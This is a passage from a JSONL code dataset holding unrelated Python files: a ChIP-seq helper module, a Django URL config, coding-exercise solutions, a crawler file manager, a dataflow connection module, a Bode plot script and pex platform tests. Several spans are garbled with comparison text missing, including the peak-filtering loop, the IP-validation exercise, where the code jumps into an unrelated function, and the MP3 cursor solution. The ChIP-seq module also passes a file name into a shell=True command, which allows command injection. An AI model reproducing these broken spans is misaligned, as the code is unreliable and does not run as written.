header=None,\n\t\t\tskiprows=1).drop(columns=[4,5,6,7]).rename(columns=\n\t\t\t{0:'chrom',1:'start',2:'end',3:'state',8:\"color\"})\n\treturn ret\n\ndef loadMEMEmotifs(file, tfsubset=[],motifspecies='HUMAN'):\n\tif file.endswith('.gff'):\n\t\tprint('converting to bed, you need to have \"gfftobed\" installed')\n\t\tcmd = 'gff2bed < '+file+' > '+file+'.bed'\n\t\tfile = file+'.bed'\n\t\tres = subprocess.run(cmd,capture_output=True, shell=True)\n\t\tif res.returncode != 0:\n\t\t\traise ValueError('issue with the command: ' + str(res.stderr))\n\t\telse:\n\t\t\tprint(res.stdout.decode(\"utf-8\"))\n\t## What are the motifs of our CRC members in ATACseq but not in our matrix\n\tmerged_motif = pd.read_csv(file, sep='\\t',skiprows=0,index_col=None, names=['pos',\"fimo\",\n\t\t\"nucleotide_motif\",\"relStart\",\"relEnd\",\"pval\",\"strand\",\".\",\"data\"])\n\tmerged_motif['tf']=[i[5:].split(\"_\"+motifspecies)[0] for i in merged_motif.data]\n\tif tfsubset:\n\t\tmerged_motif = merged_motif[merged_motif.tf.isin(tfsubset)]\n\tmerged_motif['chrom'] = [i.split(':')[0][3:] for i in merged_motif.index]\n\tmerged_motif['start'] = [i.split(':')[1].split('-')[0] for i in merged_motif.index]\n\tmerged_motif['end'] = [i.split(':')[1].split('-')[1] for i in merged_motif.index]\n\tmerged_motif = merged_motif.reset_index(drop=True)\n\tmerged_motif = merged_motif.rename(columns={'pos':'relStart','fimo':'relEnd','nucleotide_motif':'pos',\n\t\t'relStart':'pval','relEnd':'strand','pval':'fimo','strand':'motif'})\n\tmerged_motif['motif'] = [i.split('sequence=')[1].split(';')[0] for i in merged_motif.data]\n\tmerged_motif['p_val'] = [i.split('pvalue=')[1].split(';')[0] for i in merged_motif.data]\n\tmerged_motif['q_val'] = [i.split('qvalue=')[1].split(';')[0] for i in merged_motif.data]\n\tmerged_motif = merged_motif.drop(columns=['pos','.','fimo','data'])\n\tmerged_motif = merged_motif[merged_motif.columns[[6,7,8,0,1,3,2,9,10,5,4]]]\n\tmerged_motif = merged_motif.sort_values(by=['chrom','start','end']).reset_index(drop=True)\n\treturn merged_motif\n\n\ndef simpleMergeMotifs(motifs, window=0):\n\tif type(motifs) is list:\n\t\tmotifs = pd.concat(motifs)\n\tmotifs = motifs.sort_values(by=['chrom', 'start'])\n\ttoremove = []\n\tissues = []\n\tprevmotif = motifs.iloc[0]\n\tfor i, (pos, motif) in enumerate(motifs.iloc[1:].iterrows()):\n\t\tprint(str(i / len(motifs)), end=\"\\r\")\n\t\tif prevmotif['end'] + window > motif['start'] and prevmotif['chrom'] == motif['chrom']:\n\t\t\t# can be merged\n\t\t\tif motif['tf']!= prevmotif['tf'] or motif['motif'] != prevmotif['motif']:\n\t\t\t\tprint('found different motifs overlapping')\n\t\t\t\tissues.extend([motif,prevmotif])\n\t\t\telse:\n\t\t\t\ttoremove.append(pos)\n\t\tprevmotif = motif\n\tmotifs = motifs.drop(index=toremove).reset_index(drop=True)\n\tissues = pd.concat(issues)\n\treturn motifs, issues\n\n\ndef substractPeaksTo(peaks,loci, bp=50):\n\t\"\"\"\n\tremoves all peaks that are not within a bp distance to a set of loci\n\n\tArgs:\n\t----\n\t\tpeaks: a bed file df with a chrom,start, end column at least\n\t\tloci: a df witth a chrom & loci column\n\t\tbp: the max allowed distance to the loci\n\n\tReturns:\n\t-------\n\t\tall the peaks that are within this distance\n\t\"\"\"\n\ti=0\n\tj=0\n\tkeep=[]\n\tbp=50\n\twhile j loci.loc[i].chrom:\n\t\t\ti+=1\n\t\t\tcontinue\n\t\tif peaks.loc[j].chrom < loci.loc[i].chrom:\n\t\t\tj+=1\n\t\t\tcontinue\n\t\tif peaks.loc[j].start - bp > loci.loc[i].loci:\n\t\t\ti+=1\n\t\t\tcontinue\n\t\tif peaks.loc[j].end + bp< loci.loc[i].loci:\n\t\t\tj+=1\n\t\t\tcontinue\n\t\tif peaks.loc[j].end + bp >= loci.loc[i].loci and peaks.loc[j].start - bp <= loci.loc[i].loci:\n\t\t\tkeep.append(j)\n\t\t\tj+=1\n\treturn peaks.loc[set(keep)]\n\n\t\n","sub_path":"epigenetics/chipseq.py","file_name":"chipseq.py","file_ext":"py","file_size_in_byte":56721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"437300044","text":"\"\"\"zebra_bowling_proj URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/1.11/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: url(r'^$', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.conf.urls import url, include\n 2. Add a URL to urlpatterns: url(r'^blog/', include('blog.urls'))\n\"\"\"\nfrom django.conf.urls import url\nfrom django.contrib import admin\n\nfrom bowling_app import views\n\nurlpatterns = [\n url(r'^admin/', admin.site.urls),\n url(r'^$', views.home_page, name='home'),\n url(r'^games/new$', views.new_game, name='new_game'),\n url(r'^games/(\\d+)/$', views.view_game, name='view_game'),\n url(r'^games/(\\d+)/add_roll$', views.add_roll, name='add_roll'),\n]\n","sub_path":"zebra_bowling_proj/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"367555947","text":"#密码要求\n#长度超过8位\n#包含数字 字母 其他符号以上四种至少三种\n#3.不能有相同长度超2的子串重复\ndef fun1(s):\n if len(s)>8:\n return True\n else:\n return False\n\ndef fun2(s):\n num1=0\n num2=0\n num3=0\n num4=0\n for ss in s:\n if 'a'<=ss<='z' :\n num1=1\n elif 'A'<=ss<='Z':\n num2=1\n elif '1'<=ss<='9':\n num3=1\n else:\n num4=1\n if (num1+num2+num3+num4)>=3:\n return True\n else:\n return False\n\ndef fun3(s):\n for i in range((len(s)-3)):\n if s[i:i+3] in s[i+1:]:\n return False\n break\n return True\n\nwhile True:\n try:\n a=input()\n if fun1(a) and fun2(a) and fun3(a):\n print('OK')\n else:\n print('NG')\n except:\n break\n\n\n#开发一个简单错误记录功能小模块,能够记录出错的代码所在的文件名称和行号。\nimport sys\nmap = {}\nresult = []\nfor line in sys.stdin:\n m = line.split()\n s2 = m[0].split(\"\\\\\")\n s3 = s2[-1]\n if len(s3)> 16:\n s4 = s3[-16:]\n else:\n s4 = s3\n key = s4+\" \"+m[1]\n if key in map:\n map[key] += 1\n else:\n map[key] = 1\n if key not in result:\n result.append(key)\nfor key in result[-8:]:\n print(key+\" \"+ str(map[key]))\n\n\n#检查合法ip\n\nimport sys\nA=0\nB=0\nC=0\nD=0\nE=0\nerr=0\npri=0\nlll=['254','252','248','240','224','192','128','0']\ndef check_ip(ip):\n if len(ip) !=4 and '' in ip:\n return False\n else:\n for i in range(4):\n if int(ip[i])<0 or int(ip[i])>255:\n return False\n else:\n return True\ndef check_mask(ms):\n if len(ms) != 4:\n return False\n if ms[0] == '255':\n if ms[1] == '255':\n if ms[2] == '255':\n if ms[3] in lll:\n return True\n else:\n return False\n elif ms[2] in lll and ms[3] == '0':\n return True\n else:\n return False\n elif ms[1] in lll and ms[2] == ms[3] == '0':\n return True\n else:\n return False\n elif ms[0] in lll and ms[1] == ms[2] == ms[3] == '0':\n return True\n else:\n return False\nwhile True:\n string = sys.stdin.readline().strip()\n if string == \"\":\n break\n list1 = string.split(\"~\")[0]\n list2 = string.split(\"~\")[1]\n ip = list1.split('.')\n ms = list2.split('.')\n if check_mask(ms) and check_ip(ip):\n if 1 <= int(ip[0]) <= 126:\n A += 1\n if 128 <= int(ip[0]) <= 191:\n B += 1\n if 192 <= int(ip[0]) <= 223:\n C += 1\n if 224 <= int(ip[0]) <= 239:\n D += 1\n if 240 <= int(ip[0]) <= 255:\n E += 1\n if int(ip[0])==10 or (int(ip[0])==172 and 15 m:\n return func(m,m)\n else:\n return func(m,n-1) + func(m-n,n)\nwhile True:\n try:\n a = list(map(int,input().split()))\n print(func(a[0],a[1]))\n\n except:\n break\n\n#查找整数二级制中1的个数\nwhile True:\n try:\n print(bin(int(input())).count(\"1\"))\n except:break\n\n#DNA序列\na = input()\nn = int(input())\nm = len(a)\nres = 0\nre = []\nfor i in range(m - n + 1):\n buff = a[i:i+n].count(\"G\")+a[i:i+n].count(\"C\")\n if res < buff:\n res = buff\n re = a[i:i+n]\nprint(re)\n\n\n#MP3光标位置\n\nwhile True:\n try:\n num=int(input())\n command=input()\n head,tail,i =1,4,1\n if(num<=4):\n for ci in command:\n if (ci=='U'):\n if i==1:\n i=num\n else:\n i-=1\n else:\n if i==num:\n i=1\n else:\n i+=1\n head,tail=1,num\n else:\n for ci in command:\n if (ci=='U'):\n if i==1:\n i=num\n head,tail=num-3,num\n else:\n i-=1\n if itail:\n head,tail=i-3,i\n ans=list(range(head,tail+1))\n print(' '.join(str(j) for j in ans))\n print(i)\n except:\n break\n\n#查找公共字符串\n\nwhile True:\n try:\n str1=input()\n str2=input()\n n = 0\n s = ''\n if len(str1)>len(str2):\n str1,str2 = str2, str1\n for i in range(len(str1)+1):\n if str1[i-n:i] in str2:\n s = str1[i-n:i]\n n +=1\n print(s)\n except:\n break\n\n#成绩排序\nimport sys\nwhile True:\n try:\n num=int(sys.stdin.readline().strip())#人数\n flag=int(sys.stdin.readline().strip())#正序\n value_list=[]\n for i in range(0,num):\n item=[each for each in sys.stdin.readline().strip().split()]\n item[1]=int(item[1])\n value_list.append(item)\n if flag==0:\n sortlist=sorted(value_list,key=lambda x:x[1],reverse=True)\n else:sortlist=sorted(value_list,key=lambda x:x[1],reverse=False)\n for each in sortlist:\n print (str(each[0])+' '+str(each[1]))\n except:\n # print e.message\n break\n\n\n\n\n\n\n\n\n\n\n","sub_path":"python/huawei/ques3.py","file_name":"ques3.py","file_ext":"py","file_size_in_byte":8580,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"386029862","text":"import os\n\n\nclass DirectoriesManagement():\n def __init__(self, directoryName):\n if directoryName is None:\n raise ValueError('please select a correct project name')\n self.directoryName = directoryName\n\n def createProject(self):\n if os.path.exists(self.directoryName):\n return True\n print(\"creating project folder\")\n os.mkdir(self.directoryName)\n\n def createRequiredFiles(self, projectName, baseUrl):\n queueList = self.directoryName + '/queueList.txt'\n crawledList = self.directoryName + '/crawledList.txt'\n\n if not os.path.isfile(queueList):\n self.writeFile(queueList, baseUrl)\n\n if not os.path.isfile(crawledList):\n self.writeFile(crawledList, '')\n\n @staticmethod\n def writeFile(filePath, data):\n file = open(filePath, 'w')\n file.write(data)\n file.close()\n\n @staticmethod\n def appendToFile(filePath, data):\n with open(filePath, 'a') as file:\n file.write(data + '\\n')\n\n @staticmethod\n def delFileContent(filePath):\n with open(filePath, 'w'):\n pass\n\n @staticmethod\n def convertFileToSet(filePath):\n result = set()\n with open(filePath, 'r') as fileData:\n for line in fileData:\n result.add(line.replace('\\n', ''))\n\n return result\n\n @staticmethod\n def convertSetToFile(setData, filePath):\n DirectoriesManagement.delFileContent(filePath)\n for link in setData:\n DirectoriesManagement.appendToFile(filePath, link)\n","sub_path":"src/DirectoriesManagament.py","file_name":"DirectoriesManagament.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"371230558","text":"from .macro_mode import curr_macro, outer_macro, with_macro_mode\nfrom .connection import Connection, CellToCellConnection, CellToPinConnection, \\\n PinToCellConnection\nimport weakref\nfrom weakref import WeakKeyDictionary, WeakValueDictionary\n\n#\"macro\" must be either a real macro, or a toplevel context\n\n#UPDATE: authority is no longer managed here (the authority is modified up-front by the manager, NOT upon concretization)\n\ndef _get_path(macro):\n if isinstance(macro, Context):\n ctx = macro\n assert ctx._toplevel\n mpath = ()\n else:\n mpath = macro.path[:-1] + (macro.macro_context_name,)\n return mpath\n\nclass Path:\n _path = None\n _relative = False\n macro = None\n def _is_sealed(self):\n return True #paths are always sealed\n def __init__(self, obj=None, force_relative=False):\n if obj is None:\n return\n assert not isinstance(obj, Path)\n path = obj.path\n macro = curr_macro()\n if macro is not None:\n mpath = _get_path(macro)\n if path[:len(mpath)] == mpath:\n self._relative = True\n path = path[len(mpath):]\n elif force_relative:\n str_path = \".\" + \".\".join(path)\n str_mpath = \".\" + \".\".join(mpath)\n raise Exception(\"Path %s goes above current macro %s\" % (str_path, str_mpath))\n else:\n macro = obj._root()\n self._relative = None\n self.macro = weakref.ref(macro)\n self._path = path\n def path(self):\n return self._path\n def connect(self, *args, **kwargs):\n assert self.macro is not None\n connect_path(self, *args, **kwargs)\n return self\n def _root(self):\n assert self.macro is not None\n return self.macro()._root()\n def __getattr__(self, attr):\n if attr.startswith(\"_\"):\n raise AttributeError\n subpath = Path()\n subpath._relative = self._relative\n subpath._path = self._path + (attr,)\n subpath.macro = self.macro\n return subpath\n def __str__(self):\n return \"Seamless path: %s\" % (\".\".join(self._path))\n\nclass LayeredConnectionPoint:\n static = False\n obj_original = lambda self: None\n obj = None\n def __init__(self, type, path, obj, is_input):\n assert type in (\"cell\", \"pin\", \"path\")\n self.type = type\n assert isinstance(path, Path)\n assert path._relative in (True, None), path._relative\n self.path = path\n self.is_input = is_input\n if obj is not None:\n self.obj_original = weakref.ref(obj)\n if obj is not None:\n self.set_object(obj, from_init=True)\n if not obj._is_sealed():\n self.static = True\n else:\n assert type != \"pin\"\n self.obj = None\n\n def set_object(self, obj, from_init=False):\n if self.obj is not None and obj is self.obj():\n return False\n if obj is None:\n self.obj = None\n return False\n assert not self.static\n if isinstance(obj, Link):\n obj = obj.get_linked()\n if self.type == \"cell\":\n if self.obj_original is None \\\n and isinstance(obj, (InputPinBase, OutputPinBase, EditPinBase) ):\n path = \".\" + \".\".join(self.path)\n raise TypeError(\"Path %s: connections to paths that later resolve to pins are not supported\" % path)\n else:\n assert isinstance(obj, CellLikeBase), obj\n elif type == \"pin\":\n if self.is_input:\n assert isinstance(obj, (OutputPinBase, EditPinBase))\n else:\n assert isinstance(obj, (InputPinBase, EditPinBase))\n else:\n assert isinstance(obj, (CellLikeBase, InputPinBase, OutputPinBase, EditPinBase))\n self.obj = weakref.ref(obj)\n return True\n\n_lc_id = -1\nclass LayeredConnection:\n def __init__(self, source, target, transfer_mode=None):\n global _lc_id\n assert isinstance(source, LayeredConnectionPoint)\n assert isinstance(target, LayeredConnectionPoint)\n self.source = source\n self.target = target\n self.transfer_mode = transfer_mode\n macro = curr_macro()\n if macro is None:\n macro = source.path.macro()._root()\n assert source.path.macro()._root() == target.path.macro()._root()\n self.macro = weakref.ref(macro)\n self.mode = None #will be (\"cell\", \"cell\"), (\"pin\", \"cell\") etc. after activation\n self.id = _lc_id\n _lc_id -= 1\n\n def _get_half_mode(self, lcp):\n obj = lcp.obj()\n assert obj is not None\n if isinstance(obj, CellLikeBase):\n return \"cell\"\n elif isinstance(obj, (InputPinBase, OutputPinBase, EditPinBase)):\n return \"pin\"\n else:\n raise TypeError(obj)\n\n def _activate_cell_cell(self):\n source, target = self.source.obj(), self.target.obj()\n #TODO: negotiate cell-to-cell serialization protocol\n\n connection = CellToCellConnection(self.id, source, target, self.transfer_mode)\n\n mgr = target._get_manager()\n mgr.cell_from_cell[target] = connection\n ###target._authoritative = False\n\n mgr = source._get_manager()\n if source not in mgr.cell_to_cells:\n mgr.cell_to_cells[source] = []\n ctc = mgr.cell_to_cells[source]\n ctc[:] = [c for c in ctc if c.id != self.id]\n mgr.cell_to_cells[source].append(connection)\n\n if source._status == CellLikeBase.StatusFlags.OK:\n connection.fire()\n\n def _activate_cell_pin(self):\n cell, target = self.source.obj(), self.target.obj()\n connection = CellToPinConnection(self.id, cell, target)\n mgr = cell._get_manager()\n if cell not in mgr.cell_to_pins:\n mgr.cell_to_pins[cell] = []\n ctp = mgr.cell_to_pins[cell]\n ctp[:] = [c for c in ctp if c.id != self.id]\n ctp.append(connection)\n\n mgr = target._get_manager()\n mgr.pin_from_cell[target] = connection\n\n if cell._status == CellLikeBase.StatusFlags.OK:\n connection.fire()\n\n def _activate_pin_cell(self):\n pin, target = self.source.obj(), self.target.obj()\n connection = PinToCellConnection(self.id, pin, target)\n mgr = pin._get_manager()\n if pin not in mgr.pin_to_cells:\n mgr.pin_to_cells[pin] = []\n ptc = mgr.pin_to_cells[pin]\n ptc[:] = [c for c in ptc if c.id != self.id]\n ptc.append(connection)\n\n mgr2 = target._get_manager()\n mgr2.cell_from_pin[target] = connection\n ###if not isinstance(pin, EditPinBase):\n ### target._authoritative = False\n worker = pin.worker_ref()\n if pin.last_value is not None:\n mgr.pin_send_update(pin,\n pin.last_value,\n preliminary=pin.last_value_preliminary,\n target=target,\n )\n\n def activate(self, only_macros):\n from .macro import Macro\n from .macro_mode import curr_macro\n assert self.concrete\n source, target = self.source.obj(), self.target.obj()\n assert source._root() is target._root()\n mode1 = self._get_half_mode(self.source)\n mode2 = self._get_half_mode(self.target)\n self.mode = mode1, mode2\n if (mode1, mode2) == (\"cell\", \"cell\"):\n if only_macros:\n return\n self._activate_cell_cell()\n elif (mode1, mode2) == (\"cell\", \"pin\"):\n m = target.worker_ref()\n is_macro_target = False\n if isinstance(m, Macro):\n is_macro_target = True\n cm = curr_macro()\n if cm is not None:\n cpath = cm._context().path + (cm.macro_context_name,)\n if m.path[:len(cpath)] != cpath:\n is_macro_target = False\n if only_macros != is_macro_target:\n return\n self._activate_cell_pin()\n elif (mode1, mode2) == (\"pin\", \"cell\"):\n if only_macros:\n return\n self._activate_pin_cell()\n else:\n raise ValueError(self.mode)\n\n def fill_object(self, obj, obj_path):\n success = False\n if self.source.path.path() == obj_path:\n if not self.source.static:\n if self.source.set_object(obj):\n success = True\n if self.target.path.path() == obj_path:\n if not self.target.static:\n if self.target.set_object(obj):\n success = True\n if success:\n if self.concrete:\n #self.activate()\n return True\n\n \"\"\" YAGNI?\n def clear_object_path(self, obj_path):\n if self.source.path.path() == obj_path:\n if not self.source.static:\n self.source.set_object(None)\n if self.target.path.path() == obj_path:\n if not self.target.static:\n self.target.set_object(None)\n if not self.concrete:\n self.mode = None\n \"\"\"\n def clear_object(self, obj):\n if not self.concrete:\n return\n if self.source.obj is not None and self.source.obj() is obj:\n if not self.source.static:\n self.source.set_object(None)\n target = self.target.obj()\n mgr = target._get_manager()\n if isinstance(target, CellLikeBase):\n ###target._authoritative = True\n target.set(None)\n if isinstance(obj, CellLikeBase):\n mgr.cell_from_cell.pop(target)\n elif isinstance(target, OutputPinBase):\n mgr.cell_from_pin.pop(target)\n elif isinstance(target, (InputPinBase, EditPinBase)):\n target.receive_update(None, None, None, None)\n mgr.pin_from_cell.pop(target)\n if self.target.obj is not None and self.target.obj() is obj:\n if not self.target.static:\n self.target.set_object(None)\n if not self.concrete:\n self.mode = None\n\n\n @property\n def concrete(self):\n return self.source.obj is not None and self.target.obj is not None\n\n_layers = WeakKeyDictionary()\n_id_to_lc = {}\n\ndef create_layer(macro):\n assert macro not in _layers, macro\n _layers[macro] = []\n\ndef get_layers(macro):\n assert macro in _layers, macro\n layers = {}\n macro_path = macro.path\n for m in _layers:\n mpath = m.path\n if mpath[:len(macro_path)] == macro_path:\n layers[m] = _layers[m]\n return layers\n\ndef restore_layers(macro, layers):\n assert macro in _layers, macro\n assert macro in layers, macro\n _layers.update(layers)\n\ndef destroy_layer(macro):\n if isinstance(macro, Context) and macro not in _layers:\n return\n assert macro in _layers, macro\n layer = _layers.pop(macro)\n for lc in layer:\n lc2 = _id_to_lc.pop(lc.id)\n assert lc2 is lc, (lc.id, lc2.id, lc, lc2)\n\ndef fill_object(obj):\n result = []\n if isinstance(obj, Worker):\n for pin in obj._pins.values():\n result += fill_object(pin)\n path = obj.path\n for id in sorted(list(_id_to_lc.keys())):\n lc = _id_to_lc[id]\n macro = lc.macro()\n if macro is None:\n continue\n mpath = _get_path(macro)\n lc = _id_to_lc[id]\n if path[:len(mpath)] != mpath:\n continue\n relpath = path[len(mpath):]\n filled = lc.fill_object(obj, relpath)\n if filled:\n result.append(lc)\n return result\n\ndef fill_objects(ctx, macro):\n \"\"\"Fills in all the LayeredConnections with paths that point to\n children of ctx\n It doesn't matter what is on the other end of the connection\n (can be a child or a parent of ctx, at any level)\n \"\"\"\n result = []\n if ctx is None:\n for c in _layers:\n if not isinstance(c, Context):\n continue\n result += fill_objects(c, macro)\n return result\n assert isinstance(ctx, Context)\n\n #Below is not justified, since one can connect into sealed context, at present\n #To make it work, disallow such connections if they are not exported\n # (and still check exported children for fill_objects)\n ###if ctx._is_sealed():\n ### return\n\n # Anyway, it is not so bad, if we fill only when the outermost macro has finished...\n #if outer_macro() is not macro:\n # return []\n\n #... but this is *also* not justified! We need to fill in connections early\n # so that we can activate sub-macros early! (while still reorganizing the mount,\n # and before caching)\n # Current workaround: fill in at all macro levels\n # Future solutions:\n # - Don't fill in objects if their seal is deeper than the current macro\n # - Faster connection lookup (slow N(1) now!)\n\n for child in list(ctx._children.values()):\n if isinstance(child, Context):\n result += fill_objects(child, macro)\n else:\n result += fill_object(child)\n return result\n\ndef clear_object(obj):\n if isinstance(obj, Worker):\n for pin in list(obj._pins.values()):\n clear_object(pin)\n path = obj.path\n for id in sorted(list(_id_to_lc.keys())):\n lc = _id_to_lc[id]\n macro = lc.macro()\n if macro is None:\n continue\n mpath = _get_path(macro)\n lc = _id_to_lc[id]\n if path[:len(mpath)] != mpath:\n continue\n lc.clear_object(obj)\n\ndef clear_objects(ctx):\n assert isinstance(ctx, Context)\n for child in list(ctx._children.values()):\n if isinstance(child, Context):\n clear_objects(child)\n else:\n clear_object(child)\n\ndef fire_connection(id):\n assert id in _id_to_lc\n lc = _id_to_lc[id]\n if lc.concrete:\n lc.fire()\n\ndef _add_to_layer(lc):\n \"\"\"\n print(\"_add_to_layer\")\n print(lc.source.path, lc.target.path)\n print(lc.source.obj, lc.target.obj)\n print(lc.source.static, lc.target.static)\n print()\n \"\"\"\n assert lc.macro() in _layers, lc.macro()\n _layers[lc.macro()].append(lc)\n _id_to_lc[lc.id] = lc\n return lc.concrete, lc.id\n\ndef _lc_target(target, cell=False):\n target0 = target\n if isinstance(target, Link):\n target = target.get_linked()\n if isinstance(target, CellLikeBase):\n type_ = \"cell\"\n elif isinstance(target, (InputPinBase, OutputPinBase, EditPinBase) ):\n type_ = \"pin\"\n if cell:\n raise TypeError(\"Connection target must be a cell; pin-pin connections not allowed\")\n else:\n assert isinstance(target0, Path)\n type_ = \"path\"\n if cell:\n type_ = \"cell\"\n target = None\n if isinstance(target0, Path):\n path = target0\n else:\n path = Path(target0, force_relative=True)\n return LayeredConnectionPoint(type_, path, target, is_input=False)\n\ndef connect_pin(pin, target):\n pin0 = pin\n if isinstance(pin, Link):\n pin = pin.get_linked()\n path = Path(pin0, force_relative=True)\n lc_source = LayeredConnectionPoint(\"pin\", path, pin, is_input=True)\n lc_target = _lc_target(target, cell=True)\n lc = LayeredConnection(lc_source, lc_target)\n return _add_to_layer(lc)\n\ndef connect_cell(cell, target, transfer_mode):\n assert cell is not None\n cell0 = cell\n if isinstance(cell, Link):\n cell = cell.get_linked()\n path = Path(cell0, force_relative=True)\n lc_source = LayeredConnectionPoint(\"cell\", path, cell, is_input=True)\n lc_target = _lc_target(target)\n lc = LayeredConnection(lc_source, lc_target, transfer_mode)\n return _add_to_layer(lc)\n\ndef connect_path(source, target):\n assert isinstance(source, Path)\n lc_source = LayeredConnectionPoint(\"path\", source, None, is_input=True)\n lc_target = _lc_target(target)\n lc = LayeredConnection(lc_source, lc_target, None)\n return _add_to_layer(lc)\n\ndef check_async_macro_contexts(ctx, macro):\n from .macro import Macro\n # For now, do this check only for the outer macro that is being executed\n # I believe this is correct, although it could give some false negatives?\n # Anyway, when extern connections will be supported by caching,\n # the picture will change a bit\n if outer_macro() is not macro:\n return\n if ctx is None:\n for c in _layers:\n if not isinstance(c, Context):\n continue\n check_async_macro_contexts(c, macro)\n return\n for childname, child in list(ctx._children.items()):\n if child.name.startswith(Macro.macro_tag):\n continue\n if isinstance(child, Context):\n check_async_macro_contexts(child, macro)\n if not isinstance(child, Macro):\n continue\n if child.ctx is None:\n print(\"Warning: macro %s has asynchronous dependencies, beware of cache misses\" % child)\n else:\n check_async_macro_contexts(child.ctx, macro)\n\n@with_macro_mode\ndef path(obj, *, force_relative=False):\n return Path(obj, force_relative)\n\nfrom . import CellLikeBase, get_macro_mode\nfrom .link import Link\nfrom .context import Context\nfrom .worker import InputPinBase, OutputPinBase, EditPinBase, Worker\nfrom .transformer import Transformer\n","sub_path":"seamless/core/layer.py","file_name":"layer.py","file_ext":"py","file_size_in_byte":17500,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"403479141","text":"def get_indices_of_item_weights(weights, length, limit):\n \"\"\"\n Return indices of the 2 items whose totaled weight equals the limit.\n\n First, make a hashtable with each weight in weights as a key; its index as its value.\n Then, loop through weight to see if a key exists that is \n equal to the limit minus the weight at the current index.\n If so, return the 2 indices, with the greater number first.\n \"\"\"\n # Create weight_dict\n weight_dict = dict()\n for i in range(0, length):\n weight_dict[weights[i]] = i\n # print(weight_dict)\n\n # Loop through weights to look for the solution\n for i in range(0, length):\n if limit - weights[i] in weight_dict:\n weight_index1 = i\n weight_index2 = weight_dict[limit - weights[i]]\n if weight_index1 < weight_index2:\n weight_index1, weight_index2 = weight_index2, weight_index1\n return (weight_index1, weight_index2)\n return None\n\n\n# weights_3 = [4, 6, 10, 15, 16]\n# print(get_indices_of_item_weights(weights_3, 5, 21))\n","sub_path":"hashtables/ex1/ex1.py","file_name":"ex1.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"133350304","text":"from control.matlab import *\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nnum = [1.13]\nden = [1]\nw = np.logspace(-6,0,10000)\nG = tf(num, den)\ndbode = bode(G, w,plot = False)\nGdB = 20*np.log10(dbode[0])\n\nfig, ax1 = plt.subplots(figsize = (2560/96, 1080/96))\nax1.set_xlabel('Frequência (rad/s)', fontsize = 22)\nax1.set_xlim([10**-6, 10**0])\nax1.set_ylabel('Módulo (dB)', color='tab:blue', fontsize = 22)\nax1.xaxis.set_tick_params(labelsize=20)\nax1.yaxis.set_tick_params(labelsize=20)\nax1.plot(w, GdB, color='tab:blue', linewidth = 3)\nax1.tick_params(axis='y', labelcolor='tab:blue')\nax1.set_ylim([-.1,1.2])\nax1.set_xscale('log')\nax1.set_yticks([0, .2, .4, .6, .8, 1, 1.0615688696683936, 1.2])\nax1.grid()\n\nax2 = ax1.twinx() \nax2.set_ylabel('Fase', color='tab:orange', fontsize = 22) \nax2.plot(w, dbode[1], color='tab:orange', linewidth = 3)\nax2.tick_params(axis='y', labelcolor='tab:orange')\nax2.yaxis.set_tick_params(labelsize=20)\nax2.set_ylim([-180,180])\nax2.set_xscale('log')\n\nplt.title('Diagrama de Bode', fontsize = 24)\nplt.savefig(\"ProporcionalSemAtraso.png\",bbox_inches='tight')\nplt.show()\n","sub_path":"Programação/Analise na Frequencia/Sem Atraso/ProporcionalSemAtraso/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"73580124","text":"# Copyright 2017 Pants project contributors (see CONTRIBUTORS.md).\n# Licensed under the Apache License, Version 2.0 (see LICENSE).\n\nimport sys\n\nfrom pex.pep425tags import get_abbr_impl, get_abi_tag, get_impl_ver\nfrom pex.platforms import Platform\n\ntry:\n from mock import patch\nexcept ImportError:\n from unittest.mock import patch\n\n\nEXPECTED_BASE = [('py27', 'none', 'any'), ('py2', 'none', 'any')]\n\n\ndef test_platform():\n assert Platform('linux-x86_64', 'cp', '27', 'mu') == ('linux_x86_64', 'cp', '27', 'cp27mu')\n assert str(\n Platform('linux-x86_64', 'cp', '27', 'm')\n ) == 'linux_x86_64-cp-27-cp27m'\n assert str(Platform('linux-x86_64')) == 'linux_x86_64'\n\n\ndef test_platform_create():\n assert Platform.create('linux-x86_64') == ('linux_x86_64', None, None, None)\n assert Platform.create('linux-x86_64-cp-27-cp27mu') == ('linux_x86_64', 'cp', '27', 'cp27mu')\n assert Platform.create('linux-x86_64-cp-27-mu') == ('linux_x86_64', 'cp', '27', 'cp27mu')\n assert Platform.create(\n 'macosx-10.4-x86_64-cp-27-m') == ('macosx_10_4_x86_64', 'cp', '27', 'cp27m')\n\n\ndef test_platform_create_noop():\n existing = Platform.create('linux-x86_64')\n assert Platform.create(existing) == existing\n\n\ndef test_platform_current():\n assert Platform.create('current') == Platform.current()\n\n\ndef assert_tags(platform, expected_tags, manylinux=None):\n tags = Platform.create(platform).supported_tags(force_manylinux=manylinux)\n for expected_tag in expected_tags:\n assert expected_tag in tags\n\n\ndef test_platform_supported_tags_linux():\n assert_tags(\n 'linux-x86_64-cp-27-mu',\n EXPECTED_BASE + [('cp27', 'cp27mu', 'linux_x86_64')]\n )\n\n\ndef test_platform_supported_tags_manylinux():\n assert_tags(\n 'linux-x86_64-cp-27-mu',\n EXPECTED_BASE + [('cp27', 'cp27mu', 'manylinux1_x86_64')],\n True\n )\n\n\ndef test_platform_supported_tags_osx_minimal():\n impl_tag = \"{}{}\".format(get_abbr_impl(), get_impl_ver())\n assert_tags(\n 'macosx-10.5-x86_64',\n [\n (impl_tag, 'none', 'any'),\n ('py%s' % sys.version_info[0], 